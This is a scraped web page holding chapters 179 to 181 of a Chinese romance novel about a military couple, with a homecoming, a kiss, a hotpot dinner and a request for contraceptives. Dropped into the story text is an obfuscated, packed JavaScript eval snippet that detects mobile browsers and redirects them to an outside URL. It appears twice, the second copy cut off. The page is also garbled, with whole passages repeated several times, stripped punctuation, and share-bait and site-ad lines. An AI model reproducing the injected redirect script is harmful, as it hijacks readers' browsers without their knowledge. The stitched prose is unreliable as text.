许枣儿还望着沈淮川离去的方向出神呢,那眼神直勾勾的,嘴角还带着点傻笑,口水都快流出来了。 许树喊了好几声,她都没反应。 还是林瑶急得过去扯了她一把,她才猛地回过神,“啊?咋了?” 赶紧过去搭手帮忙。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第179章 还是踢得太轻了... 那头,周柒柒正拉着朱莹莹的手哄着呢。 “都怪我,要不是我自己骑车不小心摔着了,就不会让你……” 朱莹莹在小树林这边,卫生所里的情形瞧不真切,就瞅见最后周柒柒差点摔着,心里头笃定她准是在里头被那伙人欺负了。 这会儿眼泪啪嗒啪嗒往下掉,止都止不住。 周柒柒瞧着,心一下子就软了,掏出帕子给她擦着泪珠子,脸上带着笑。 “莹莹,你这说的啥话?我咋能被她们欺负着?我这张嘴你还不清楚?她们仨加一块儿也骂不过我。” 朱莹莹哪肯信,一边抽噎着一边蹲下身,眼睛直往她脚上瞟。 “我才不信,我瞅瞅你的脚,刚才是不是扭着了……” 正说着呢,不远处传来一阵急促的脚步声,周柒柒抬眼一瞧,赶紧把朱莹莹扶起来,笑着朝那边努努嘴。 “哎呀,先别顾着看我了,你瞧瞧,那是谁来了?” 话音还没落地,王团长已经跟阵风似的跑了过来。 他素来是个闷葫芦,这会儿更是半句废话没有,虎着个脸直接拦腰就把朱莹莹抱了起来,大步流星就往家属院跑。 朱莹莹被他抱着,还惦记着周柒柒呢,小手在他胳膊上捶了两下:“哎,你干啥呀,柒柒她……” 可她那点劲儿,跟蚊子叮似的,王团长压根没当回事,反倒跑得更急了。 周柒柒望着俩人的背影,嘴角忍不住咧开,露出了姨母笑。 一回头,却看到沈淮川走到了她面前,背对着她,微微屈膝蹲下。 就俩字,跟他的人一样,干脆利落。 周柒柒瞅着他那背影,心跳莫名就快了几拍,下意识咬了咬下唇。 “不不用,我能走,我又没受伤。” 沈淮川没回头,但宽阔的背脊又往下沉了沉,把重心放低了些。 “上来,柒柒。” 他的声音低沉而清晰,带着一种不容拒绝的意味。 周柒柒犹豫片刻,最终还是顺从地趴了上去。 当她的身体贴上他坚实的背脊时,两人都几乎不可察觉地微微一震。 沈淮川的胳膊结实有力,稳稳托住她的腿弯,稍一使劲,就把人稳稳当当背了起来。 周柒柒赶紧伸出胳膊圈住他的脖子下巴几乎要碰到他的耳廓。 他显然是一路狂奔过来的身上有股子淡淡的汗味混着肥皂的清香味还有点阳光晒过的味道。 这几种气息缠在一块儿将周柒柒包围让她心跳如鼓。 她能清晰地感觉到他后背肌肉随着步伐微微起伏每一步都踏得稳稳的。 周柒柒莫名觉得心跳加速有点不自在她赶紧开口打破了沉默。 “你怎么回来了?” “训练结束了。” 沈淮川的声音从胸腔传过来带着点震动听着格外清晰。 周柒柒有点惊讶往他背上贴得更近些“这么快?还能提前结束?” 她记得前两天她和翠香姐、莹莹凑在一起时候的时候。 她们还说这秋季驻训第二阶段最是磨人少说也得半个月才能见着人影。 有时候还会再拖延几天。 “第二阶段是小型演习把对方指挥部端了就算完事儿。” 沈淮川解释得言简意赅。 “哦哦哦这个我知道!” 周柒柒一下子来了精神。 她看过某军旅剧里面就有类似的红蓝对抗她特别喜欢看那部剧一下子就想起来了。 但她一说出口就意识到自己说错话了赶紧找补了一句 说完偷偷抬眼瞅了瞅沈淮川的侧脸见他没啥异样这才松了口气赶紧转移话题。 “那是谁得第一名啊?这个是不是机密啊?能说嘛?” 沈淮川没立马答话周柒柒正琢磨着是不是问错了却见他耳根子“唰”地一下就红了。 连带着脖颈那儿都泛起层粉色下巴还微微往上扬了扬透着点不易察觉的得意。 “难不成……是你带队赢了?” 周柒柒一下子反应过来搂着他脖子的胳膊紧了紧凑到他耳边小声说。 “真能耐啊不愧是我周柒柒的男人。” 这话一出口沈淮川的身体猛地就绷紧了后背的肌肉都硬邦邦的耳根的红顺着脖颈一路往下蔓延。 这时候已经快到家属院了路上碰见好几个来去茅房回来得军 嫂,瞧见这光景都笑着打招呼。 沈淮川像是有点不自在,步子迈得更快了,背着周柒柒就往自家小院钻。 到家后,小心翼翼地把周柒柒放在沙发上,随即单膝半跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900148|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她面前,抬起头,目光灼灼地锁住她。 “刚才摔到哪儿了?磕着了? 他声音有点哑,带着股子紧张劲儿。 周柒柒被他那眼神瞅得有点不好意思,把右脚往他跟前伸了伸。 “踩着扫帚的时候,好像扭了一下,其实不打紧…… 她本来没当回事,哪想到沈淮川早就瞧在眼里了。 他也没多说啥,大手直接就伸了过来,动作轻柔地帮她把布鞋脱了,又把袜子往下褪了褪。 周柒柒的脚因为之前的烫伤,肤色白得十分不自然,脚踝那儿的红就异常明显。 “还是踢得太轻了 沈淮川神色暗了暗,低头说了一句。 然后转身从抽屉里翻出管红花油,拧开盖子倒了点在手心搓热了,轻轻往周柒柒脚踝上揉。 “还有哪儿不舒服?另一只脚呢? 他一边揉一边抬头问,顺势就把周柒柒另一只脚也拉了过来,连鞋带袜都给脱了,大手轻轻握着她的脚丫子。 已经是秋天了,屋里都透着点凉意,可他掌心热乎乎的,一冷一热,烫得周柒柒有点痒,忍不住想往回缩。 “我哪就那么娇贵了?真没事…… 她说着就伸手去推他的胸膛。 “要我说该检查的是你才对,伤还没好利索呢,还逞强好胜拿第一,让我瞧瞧有没有添新伤。 她的触碰轻柔,却像是带着电流,电的沈淮川浑身紧绷。 他反手就抓住了她的手,粗糙的指腹在她细腻的手背上慢慢摩挲着,眼神黏在她脸上挪不开。 周柒柒被她看得脸颊更汤,想抽回手,却被他握得更紧。 沈淮川的身体微微前倾,目光落在她的唇上,喉结不自觉滚动了一下。 夕阳的余晖透过窗户,给两人镀上一层暖昧的光晕。 四周安静得只剩下两人逐渐加重的呼吸声和如雷的心跳。 沈淮川另一只手抬了起来,带着薄茧的指腹轻轻蹭过她的脸颊。 指尖最后停在她的下巴上,用了点轻柔得不能再轻柔的力气,微微往上抬了抬。 周柒柒没有躲闪,长长的睫毛如蝶翼般颤动,缓缓闭上了眼睛,身体还往前倾了倾,像是在无声地邀请。 她能感受到他灼热的气息越来越近,带着强烈的男性荷尔蒙。 第180章 倒霉蛋是谁 沈淮川的吻落了下来。 屋里静悄悄的,只有窗外树叶被风扫过的沙沙声,衬得这一下触碰格外清晰。 这吻没有离别前那种**的架势,而是带着一股小心翼翼的珍视。 他的唇先是轻轻印上她的,带着一丝不易察觉的微颤,像是怕这是场梦,得实实在在确认一番才放心。 那触感温温软软的,还带着点儿干爽,就这么一下,把两人分开这几天攒下的念想全勾起来了。 周柒柒紧紧闭着眼,睫毛剧烈颤抖着,不自觉圈住了他的脖子,大方地回吻了上去。 反正她早就承认了,她就是馋他的身子。 身体和心里,都馋得紧。 两人之间的距离徒然拉近,沈淮川仿佛受到了鼓励,呼吸徒然粗重,手臂猛地收紧,将她更深地箍进怀里。 他的吻也不再温柔,变得深入而炙热,还带着点儿说一不二的霸道,由不得人抗拒。 周柒柒被他吻得没了力气,喉间溢出点细碎的哼唧,彻底融化在他强势又温柔的掠夺中,生涩地回应着,手指无意识地插入他粗硬的短发中。 粗硬的发丝蹭着掌心,带来一阵麻酥酥的痒。 两人唇舌缠在一块儿,呼出来的气都带着滚烫的温度。 沈淮川原先撑在沙发上的手,不知啥时候滑到了她腰侧和后颈,把她牢牢按在怀里,另一只手在她后背上无意识地摩挲着,隔着薄薄的衣裳,那热乎劲儿烫得人慌。 周柒柒在他怀里腿都软了,只能更紧地靠着他,膝盖不自觉地蹭过他腿边。 两人贴得密不透风,对方身上的变化、砰砰直跳的心跳,都能清清楚楚感觉到。 沈淮川的吻从她唇角滑到耳垂,落下一串滚烫的印子。 周柒柒猛地拱起身子,一阵战栗顺着脊椎爬上来,忍不住低低唤了声“淮川”,那声音软得能掐出水,带着点自己都没察觉的媚气。 这一声跟勾魂似的,沈淮川低喘一声,带着薄茧的大手试探着抚上她纤细的腰肢,指尖往下探了探。 那点温热的触感像是火星子,一下子就把他心里头压着的那点火苗燎成了大火,把那些个理智烧得干干净净。 他的吻又重重堵了上来,身子也跟着压下来,周柒柒搂 着他脖子的胳膊收得更紧,后背不自觉地往沙发里陷,微微仰着头,那意思再明白不过——任他折腾。 沈淮川喘气更急了,吻一点点往下挪,划过下巴,落到颈窝…… 屋里的空气黏糊糊的,跟化了的蜜糖似的,又热得像是烧红的炉子。 “咚咚咚~! 就在这个时候,门外响起了一阵轻轻的敲门声。 伴随而来的,还有隔壁赵毅的大嗓门。 “哟,舟舟,放学啦?向阳,你又送舟舟回来了。 坏了!到舟舟放学的事件了!她把这事儿给忘得一干二净! 周柒柒猛地睁开眼,脸和耳朵红得跟要滴血似的,手忙脚乱地推开沈淮川坐直了,赶紧理了理皱巴巴的衣襟和乱了的头发。 沈淮川深吸了口气,压下眼底的火,低头在她唇角又啄了一下,声音暗哑。 “晚上接着来…… 说完转身就去开门,步子迈得又快又沉。 十几天不见,沈渡舟也十分想念沈淮川,直接扑进了沈淮川的怀里。 沈淮川把她牵着回了屋里,煞有介事地开了口。 这一个多月,舟舟天天跟周柒柒用嘴型说话,虽然发不出声音,那口型却越来越清楚。 沈淮川一眼就看明白了,小丫头是在问他平安不平安,她的眼睛里亮闪闪的,让人心肠瞬间就软了。 “平安,叔叔的本事你还不知道,当然平安着呢! 沈淮川捏着沈渡舟的小脸,声音温和低沉,与刚才的沙哑危险判若两人。 他目光越过舟舟兴奋的小脑袋,落在了还坐在沙发上的周柒柒身上。 那眼神里明晃晃带着点没尽兴的遗憾,还有点没褪干净的热意,末了却化成了只有她能看懂的温柔笑意。 周柒柒被他看得脸上更热,嗔怪地瞪了他一眼,那眼神水汪汪的,与其说是责怪不如说是撒娇。 她看着舟舟迫不及待地从屋子里拿出给沈淮川画的画,莫名有点吃味。 伸手揽过舟舟的肩膀。 “哟,这都快六点了。 她拍了拍舟舟后背,“饿不饿?咱吃饭去! 又抬头跟沈淮川解释。 “我跟莹莹、翠香姐约好了,今儿个在莹莹 家吃火锅。骨头汤底料一早就熬上了,菜也买齐了,都搁她家呢。 就是刚才没算到多了三个大男人,菜恐怕不够。 周柒柒皱着眉琢磨了一下,立马利利索索地分起了活儿。 “肉的话,咱家后头筐子里还有医院发的午餐肉罐头,上次剩的没吃完。 “淮川,你去拿罐头,就在放苹果的筐子旁边。蔬菜面条啥的咱家不多,我去翠香姐家再要点儿。 她又转向舟舟,“舟舟,你去隔壁莹莹阿姨家,让王叔叔先把灶搬出来,把锅底煮上,桌椅板凳也都往外头挪挪。 沈淮川跟沈渡舟对视一眼,俩人情不自禁地都抬手敬了个礼,逗得周柒柒“噗嗤笑出了声。 看着俩人一个往东一个往西的背影,周柒柒嘴角的笑意收不住,赶紧拢了拢头发,也快步往翠香姐家去。 今儿个男人们回来,路过家家巷巷,女人们都是喜笑颜开的。 但走到了邓翠香家,却见她正苦着张脸,手里拎着个药盒出来。 “翠香姐,你这是咋了? 邓翠香转过身,脸上那表情,哭不是哭,笑不是笑。 “柒柒,我算是知道之前说的那个,被你家沈淮川暴揍的倒霉蛋是谁了 “谁? 话音还没落地,就见邓翠香家屋里踉跄着出来个人,不是别人,正是姜营长。 他那张脸可没法看了,左眼眶乌青乌青的,跟揣了个紫茄子,颧骨上还有道红印子,嘴角也破了皮,说话都有点漏风。 “柒柒妹子! 姜营长一看见她,跟见了救星似的。 “你可得替你姜哥我做主啊!沈淮川那小子,简直不是人! 姜营长这控诉的话茬子,从他家院子里就没断过,一路絮絮叨叨,跟着大伙儿挪到莹莹家吃火锅,嘴里还没闲着。 在他嘴里,沈淮川成了十恶不赦的恶人。 第一阶段的比武,姜营长本来看在他是个重伤未愈的伤兵,想着好不容易能赢他一次了。 却没想到他用巧劲儿,也能把他给揍得满地找牙。 第二阶段,好不容易和沈淮川分在一个阵营了,寻思着能舒舒服服地“躺赢了,结果没想到,沈淮川把他那个营当成诱饵抛出去。 害得他又被敌人给揍了个鼻青眼肿。 具体的战略根据保密守则,姜营长没说,但自己是怎么被揍的,他说的是一清二楚,惟妙惟肖。 三家人围坐在煤炉边,锅里的汤“咕嘟咕嘟冒着泡,白雾缭绕的。 听着姜营长声情并茂的控诉,瞅着他那鼻青脸肿却依旧中气十足的样子,再看看旁边沈淮川那副不动声色,嘴角却偶尔偷偷往上翘的模样,都忍不住哈哈大笑。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 家吃火锅。骨头汤底料一早就熬上了,菜也买齐了,都搁她家呢。” 就是刚才没算到多了三个大男人,菜恐怕不够。 周柒柒皱着眉琢磨了一下,立马利利索索地分起了活儿。 “肉的话,咱家后头筐子里还有医院发的午餐肉罐头,上次剩的没吃完。” “淮川,你去拿罐头,就在放苹果的筐子旁边。蔬菜面条啥的咱家不多,我去翠香姐家再要点儿。” 她又转向舟舟,“舟舟,你去隔壁莹莹阿姨家,让王叔叔先把灶搬出来,把锅底煮上,桌椅板凳也都往外头挪挪。” 沈淮川跟沈渡舟对视一眼,俩人情不自禁地都抬手敬了个礼,逗得周柒柒“噗嗤”笑出了声。 看着俩人一个往东一个往西的背影,周柒柒嘴角的笑意收不住,赶紧拢了拢头发,也快步往翠香姐家去。 今儿个男人们回来,路过家家巷巷,女人们都是喜笑颜开的。 但走到了邓翠香家,却见她正苦着张脸,手里拎着个药盒出来。 “翠香姐,你这是咋了?” 邓翠香转过身,脸上那表情,哭不是哭,笑不是笑。 “柒柒,我算是知道之前说的那个,被你家沈淮川暴揍的倒霉蛋是谁了” “谁?” 话音还没落地,就见邓翠香家屋里踉跄着出来个人,不是别人,正是姜营长。 他那张脸可没法看了,左眼眶乌青乌青的,跟揣了个紫茄子,颧骨上还有道红印子,嘴角也破了皮,说话都有点漏风。 “柒柒妹子!” 姜营长一看见她,跟见了救星似的。 “你可得替你姜哥我做主啊!沈淮川那小子,简直不是人!” 姜营长这控诉的话茬子,从他家院子里就没断过,一路絮絮叨叨,跟着大伙儿挪到莹莹家吃火锅,嘴里还没闲着。 在他嘴里,沈淮川成了十恶不赦的恶人。 第一阶段的比武,姜营长本来看在他是个重伤未愈的伤兵,想着好不容易能赢他一次了。 却没想到他用巧劲儿,也能把他给揍得满地找牙。 第二阶段,好不容易和沈淮川分在一个阵营了,寻思着能舒舒服服地“躺赢”了,结果没想到,沈淮川把他那个营当成诱饵抛出去。 害得他又被敌人给揍了个鼻青眼肿。 具体的战略根据保密守则,姜营长没说,但自己是怎么被揍的,他说的是一清二楚,惟妙惟肖。 三家人围坐在煤炉边,锅里的汤“咕嘟咕嘟”冒着泡,白雾缭绕的。 听着姜营长声情并茂的控诉,瞅着他那鼻青脸肿却依旧中气十足的样子,再看看旁边沈淮川那副不动声色,嘴角却偶尔偷偷往上翘的模样,都忍不住哈哈大笑。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 家吃火锅。骨头汤底料一早就熬上了菜也买齐了都搁她家呢。” 就是刚才没算到多了三个大男人菜恐怕不够。 周柒柒皱着眉琢磨了一下立马利利索索地分起了活儿。 “肉的话咱家后头筐子里还有医院发的午餐肉罐头上次剩的没吃完。” “淮川你去拿罐头就在放苹果的筐子旁边。蔬菜面条啥的咱家不多我去翠香姐家再要点儿。” 她又转向舟舟“舟舟你去隔壁莹莹阿姨家让王叔叔先把灶搬出来把锅底煮上桌椅板凳也都往外头挪挪。” 沈淮川跟沈渡舟对视一眼俩人情不自禁地都抬手敬了个礼逗得周柒柒“噗嗤”笑出了声。 看着俩人一个往东一个往西的背影周柒柒嘴角的笑意收不住赶紧拢了拢头发也快步往翠香姐家去。 今儿个男人们回来路过家家巷巷女人们都是喜笑颜开的。 但走到了邓翠香家却见她正苦着张脸手里拎着个药盒出来。 “翠香姐你这是咋了?” 邓翠香转过身脸上那表情哭不是哭笑不是笑。 “柒柒我算是知道之前说的那个被你家沈淮川暴揍的倒霉蛋是谁了” “谁?” 话音还没落地就见邓翠香家屋里踉跄着出来个人不是别人正是姜营长。 他那张脸可没法看了左眼眶乌青乌青的跟揣了个紫茄子颧骨上还有道红印子嘴角也破了皮说话都有点漏风。 “柒柒妹子!” 姜营长一看见她跟见了救星似的。 “你可得替你姜哥我做主啊!沈淮川那小子简直不是人!” 姜营长这控诉的话茬子从他家院子里就没断过一路絮絮叨叨跟着大伙儿挪到莹莹家吃火锅嘴里还没闲着。 在他嘴里沈淮川成了十恶不赦的恶人。 第一阶段的比武姜营长本来看在他是个重伤未愈的伤兵想着好不容易能赢他一次了。 却没想到他用巧劲儿也能把他给揍得满地找牙。 第二阶段好不容易和沈淮川分在一个阵营了寻思着能舒舒服服地“躺赢”了 害得他又被敌人给揍了个鼻青眼肿。 具体的战略根据保密守则姜营长没说但自己是怎么被揍的他说的是一清二楚惟妙惟肖。 三家人围坐在煤炉边锅里的汤“咕嘟咕嘟”冒着泡白雾缭绕的。 听着姜营长声情并茂的控诉瞅着他那鼻青脸肿却依旧中气十足的样子再看看旁边沈淮川那副不动声色嘴角却偶尔偷偷往上翘的模样都忍不住哈哈大笑。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 家吃火锅。骨头汤底料一早就熬上了,菜也买齐了,都搁她家呢。 就是刚才没算到多了三个大男人,菜恐怕不够。 周柒柒皱着眉琢磨了一下,立马利利索索地分起了活儿。 “肉的话,咱家后头筐子里还有医院发的午餐肉罐头,上次剩的没吃完。 “淮川,你去拿罐头,就在放苹果的筐子旁边。蔬菜面条啥的咱家不多,我去翠香姐家再要点儿。 她又转向舟舟,“舟舟,你去隔壁莹莹阿姨家,让王叔叔先把灶搬出来,把锅底煮上,桌椅板凳也都往外头挪挪。 沈淮川跟沈渡舟对视一眼,俩人情不自禁地都抬手敬了个礼,逗得周柒柒“噗嗤笑出了声。 看着俩人一个往东一个往西的背影,周柒柒嘴角的笑意收不住,赶紧拢了拢头发,也快步往翠香姐家去。 今儿个男人们回来,路过家家巷巷,女人们都是喜笑颜开的。 但走到了邓翠香家,却见她正苦着张脸,手里拎着个药盒出来。 “翠香姐,你这是咋了? 邓翠香转过身,脸上那表情,哭不是哭,笑不是笑。 “柒柒,我算是知道之前说的那个,被你家沈淮川暴揍的倒霉蛋是谁了 “谁? 话音还没落地,就见邓翠香家屋里踉跄着出来个人,不是别人,正是姜营长。 他那张脸可没法看了,左眼眶乌青乌青的,跟揣了个紫茄子,颧骨上还有道红印子,嘴角也破了皮,说话都有点漏风。 “柒柒妹子! 姜营长一看见她,跟见了救星似的。 “你可得替你姜哥我做主啊!沈淮川那小子,简直不是人! 姜营长这控诉的话茬子,从他家院子里就没断过,一路絮絮叨叨,跟着大伙儿挪到莹莹家吃火锅,嘴里还没闲着。 在他嘴里,沈淮川成了十恶不赦的恶人。 第一阶段的比武,姜营长本来看在他是个重伤未愈的伤兵,想着好不容易能赢他一次了。 却没想到他用巧劲儿,也能把他给揍得满地找牙。 第二阶段,好不容易和沈淮川分在一个阵营了,寻思着能舒舒服服地“躺赢了,结果没想到,沈淮川把他那个营当成诱饵抛出去。 害得他又被敌人给揍了个鼻青眼肿。 具体的战略根据保密守则,姜营长没说,但自己是怎么被揍的,他说的是一清二楚,惟妙惟肖。 三家人围坐在煤炉边,锅里的汤“咕嘟咕嘟冒着泡,白雾缭绕的。 听着姜营长声情并茂的控诉,瞅着他那鼻青脸肿却依旧中气十足的样子,再看看旁边沈淮川那副不动声色,嘴角却偶尔偷偷往上翘的模样,都忍不住哈哈大笑。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 家吃火锅。骨头汤底料一早就熬上了菜也买齐了都搁她家呢。” 就是刚才没算到多了三个大男人菜恐怕不够。 周柒柒皱着眉琢磨了一下立马利利索索地分起了活儿。 “肉的话咱家后头筐子里还有医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听着姜营长声情并茂的控诉瞅着他那鼻青脸肿却依旧中气十足的样子再看看旁边沈淮川那副不动声色嘴角却偶尔偷偷往上翘的模样都忍不住哈哈大笑。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 家吃火锅。骨头汤底料一早就熬上了,菜也买齐了,都搁她家呢。 就是刚才没算到多了三个大男人,菜恐怕不够。 周柒柒皱着眉琢磨了一下,立马利利索索地分起了活儿。 “肉的话,咱家后头筐子里还有医院发的午餐肉罐头,上次剩的没吃完。 “淮川,你去拿罐头,就在放苹果的筐子旁边。蔬菜面条啥的咱家不多,我去翠香姐家再要点儿。 她又转向舟舟,“舟舟,你去隔壁莹莹阿姨家,让王叔叔先把灶搬出来,把锅底煮上,桌椅板凳也都往外头挪挪。 沈淮川跟沈渡舟对视一眼,俩人情不自禁地都抬手敬了个礼,逗得周柒柒“噗嗤笑出了声。 看着俩人一个往东一个往西的背影,周柒柒嘴角的笑意收不住,赶紧拢了拢头发,也快步往翠香姐家去。 今儿个男人们回来,路过家家巷巷,女人们都是喜笑颜开的。 但走到了邓翠香家,却见她正苦着张脸,手里拎着个药盒出来。 “翠香姐,你这是咋了? 邓翠香转过身,脸上那表情,哭不是哭,笑不是笑。 “柒柒,我算是知道之前说的那个,被你家沈淮川暴揍的倒霉蛋是谁了 “谁? 话音还没落地,就见邓翠香家屋里踉跄着出来个人,不是别人,正是姜营长。 他那张脸可没法看了,左眼眶乌青乌青的,跟揣了个紫茄子,颧骨上还有道红印子,嘴角也破了皮,说话都有点漏风。 “柒柒妹子! 姜营长一看见她,跟见了救星似的。 “你可得替你姜哥我做主啊!沈淮川那小子,简直不是人! 姜营长这控诉的话茬子,从他家院子里就没断过,一路絮絮叨叨,跟着大伙儿挪到莹莹家吃火锅,嘴里还没闲着。 在他嘴里,沈淮川成了十恶不赦的恶人。 第一阶段的比武,姜营长本来看在他是个重伤未愈的伤兵,想着好不容易能赢他一次了。 却没想到他用巧劲儿,也能把他给揍得满地找牙。 第二阶段,好不容易和沈淮川分在一个阵营了,寻思着能舒舒服服地“躺赢了,结果没想到,沈淮川把他那个营当成诱饵抛出去。 害得他又被敌人给揍了个鼻青眼肿。 具体的战略根据保密守则,姜营长没说,但自己是怎么被揍的,他说的是一清二楚,惟妙惟肖。 三家人围坐在煤炉边,锅里的汤“咕嘟咕嘟冒着泡,白雾缭绕的。 听着姜营长声情并茂的控诉,瞅着他那鼻青脸肿却依旧中气十足的样子,再看看旁边沈淮川那副不动声色,嘴角却偶尔偷偷往上翘的模样,都忍不住哈哈大笑。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 家吃火锅。骨头汤底料一早就熬上了,菜也买齐了,都搁她家呢。” 就是刚才没算到多了三个大男人,菜恐怕不够。 周柒柒皱着眉琢磨了一下,立马利利索索地分起了活儿。 “肉的话,咱家后头筐子里还有医院发的午餐肉罐头,上次剩的没吃完。” “淮川,你去拿罐头,就在放苹果的筐子旁边。蔬菜面条啥的咱家不多,我去翠香姐家再要点儿。” 她又转向舟舟,“舟舟,你去隔壁莹莹阿姨家,让王叔叔先把灶搬出来,把锅底煮上,桌椅板凳也都往外头挪挪。” 沈淮川跟沈渡舟对视一眼,俩人情不自禁地都抬手敬了个礼,逗得周柒柒“噗嗤”笑出了声。 看着俩人一个往东一个往西的背影,周柒柒嘴角的笑意收不住,赶紧拢了拢头发,也快步往翠香姐家去。 今儿个男人们回来,路过家家巷巷,女人们都是喜笑颜开的。 但走到了邓翠香家,却见她正苦着张脸,手里拎着个药盒出来。 “翠香姐,你这是咋了?” 邓翠香转过身,脸上那表情,哭不是哭,笑不是笑。 “柒柒,我算是知道之前说的那个,被你家沈淮川暴揍的倒霉蛋是谁了” “谁?” 话音还没落地,就见邓翠香家屋里踉跄着出来个人,不是别人,正是姜营长。 他那张脸可没法看了,左眼眶乌青乌青的,跟揣了个紫茄子,颧骨上还有道红印子,嘴角也破了皮,说话都有点漏风。 “柒柒妹子!” 姜营长一看见她,跟见了救星似的。 “你可得替你姜哥我做主啊!沈淮川那小子,简直不是人!” 姜营长这控诉的话茬子,从他家院子里就没断过,一路絮絮叨叨,跟着大伙儿挪到莹莹家吃火锅,嘴里还没闲着。 在他嘴里,沈淮川成了十恶不赦的恶人。 第一阶段的比武,姜营长本来看在他是个重伤未愈的伤兵,想着好不容易能赢他一次了。 却没想到他用巧劲儿,也能把他给揍得满地找牙。 第二阶段,好不容易和沈淮川分在一个阵营了,寻思着能舒舒服服地“躺赢”了,结果没想到,沈淮川把他那个营当成诱饵抛出去。 害得他又被敌人给揍了个鼻青眼肿。 具体的战略根据保密守则,姜营长没说,但自己是怎么被揍的,他说的是一清二楚,惟妙惟肖。 三家人围坐在煤炉边,锅里的汤“咕嘟咕嘟”冒着泡,白雾缭绕的。 听着姜营长声情并茂的控诉,瞅着他那鼻青脸肿却依旧中气十足的样子,再看看旁边沈淮川那副不动声色,嘴角却偶尔偷偷往上翘的模样,都忍不住哈哈大笑。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第181章 计生用品 这一顿火锅吃得热闹,几家人围在一块儿,筷子碰着搪瓷碗叮当作响,嘴里的话就没断过。 从几个女人天天吃什么,聊到军区年末的大比武,还有向海的数学班,舟舟的美术班。 向阳这小家伙一直坐在舟舟边上吃着,邓翠香今儿难得心情好,也没数落他。 这一顿饭一直吃到了八点钟。 眼瞅着九点就要熄灯,大家赶紧收拾收拾就各自散了。 回到了家,周柒柒赶紧先直奔厨房,烧了一锅热水。 搭上锅,她又想起什么事儿,一边卸围裙,一边扬着嗓子朝外喊。 “淮川,你先过来看一眼炉子,我去翠香姐家走一趟!” 沈淮川正在和舟舟说话呢,听到声音就大步就跨进了厨房。 “什么事这么急?” 他眉头微微蹙了下,“这都快熄灯了,要不我替你跑一趟?” 周柒柒忙摆了摆手。 “别别别,我去就行,是女人家的事儿,你去不合适。” 说着她便是回屋拿了一个大袋子出来,不等沈淮川追问,匆匆忙忙地就走了。 邓翠香家里这会儿就她一个人。 她家没盖洗澡间,姜营长带着向海和向阳俩孩子去军区的公共澡堂子洗澡去了。 她难得清闲一会儿,却也不闲不住,正在查看院子里的泡菜坛子,检查发酵情况。 看到周柒柒来,她也有点奇怪,“出啥事了吗?” 周柒柒摇着头往里走,把手里的布袋往她怀里一塞。 上个月她来生理期的时候,让张国强帮着给捎带了点卫生巾。 不过邮过来的时候,她生理期已经结束了,就把这玩意儿推荐给了邓翠香和朱莹莹。 两人用着都觉得不错,也让张国强帮着给买点。 这不,今天下午才邮过来,不过写的是周柒柒的地址,莹莹那份她拿回来的时候就给了,邓翠香这份这才想起给拿过来。 邓翠香这才松了口气,接过东西,拍着胸口笑。 “嗨,我以为出啥事了呢,吓一跳,这东西又不急着用,你明天送过来不是一样嘛。” 她俩认识两个多月了,谁不知道谁的性子? 周柒柒是个能坐着不站着、 能躺着不坐着的主儿,这么晚专门跑一趟,指定不止送包卫生巾这么简单。 邓翠香往屋里拽了她一把,压低了嗓门,眼睛亮晶晶地瞅着她:“你这丫头,准是还有别的事吧? 周柒柒也不是个矫情的性子,也不藏着掖着了,直接开口道。 “翠香姐,我是想问,你这儿有没有计生用品? 邓翠香先是眨了眨眼,没反应过来,眼睛瞪得溜圆。 “你说那玩意儿啊?有有有!现在不都提倡计划生育嘛,周主任每月都让卫生所给咱这些有娃的军嫂发,我那儿攒了不老少呢。 话刚说完,她突然反应过来了,声音又提了个调。 “不过你刚结婚没多久,问这个干啥?你……你要用? 周柒柒爽快地承认了。 “嗯,我要用我还不想那么早要孩子。 她有过那样的童年,到现在午夜梦回,还是会梦到父母吵架,自己蜷缩在一边的样子。 所以她不想稀里糊涂的就怀孕生孩子,对谁都不负责任。 “你 说的域名caixs.com●(请来才小 说 看最新章节 完整章节) 看她眉头紧锁,但没多说什么,邓翠香没再问,而是拍了拍她的肩膀。 “我去给你拿去,你在这儿等着。 很快,她就拿了一袋子过来,“这些我都没用过,就随便给你抓了一袋,你拿回去用吧。 “好,谢谢翠香姐。 周柒柒拿了袋子就走了,回去的时候,洗澡间里亮着灯,应该是沈淮川正在洗澡。 舟舟正坐在小板凳上,拿着块干毛巾费劲地擦头发。 她把袋子随意放在床上,去了趟厨房,然后就去帮舟舟擦头发了。 小姑娘头发长得快,三个月前还是一把枯黄的杂草,如今被周柒柒用蜂花洗发膏养着,乌黑油亮的。 温热的毛巾裹着柔软的发丝,周柒柒的动作轻轻柔柔的,生怕扯疼了她。 舟舟的头发又软又滑,擦完还带着股甜丝丝的香味,脸蛋洗得红扑扑的,像个刚出锅的白面馒头。 周柒柒越看越喜欢,忍不住在她脸蛋上“吧唧亲了一口。 小姑娘被这突如其来的一下吓得肩膀一缩,眼睛瞪得圆圆的,却没躲开,睫毛忽闪忽闪的,看着更可爱了。 “ 快去睡吧” 周柒柒捏了捏她的脸蛋声音放得更柔“明儿早上给你熬牛奶红豆粥红豆我都泡在碗里了。” 舟舟一听有甜粥喝眼睛立马亮了回头也在她脸上飞快地亲了一下然 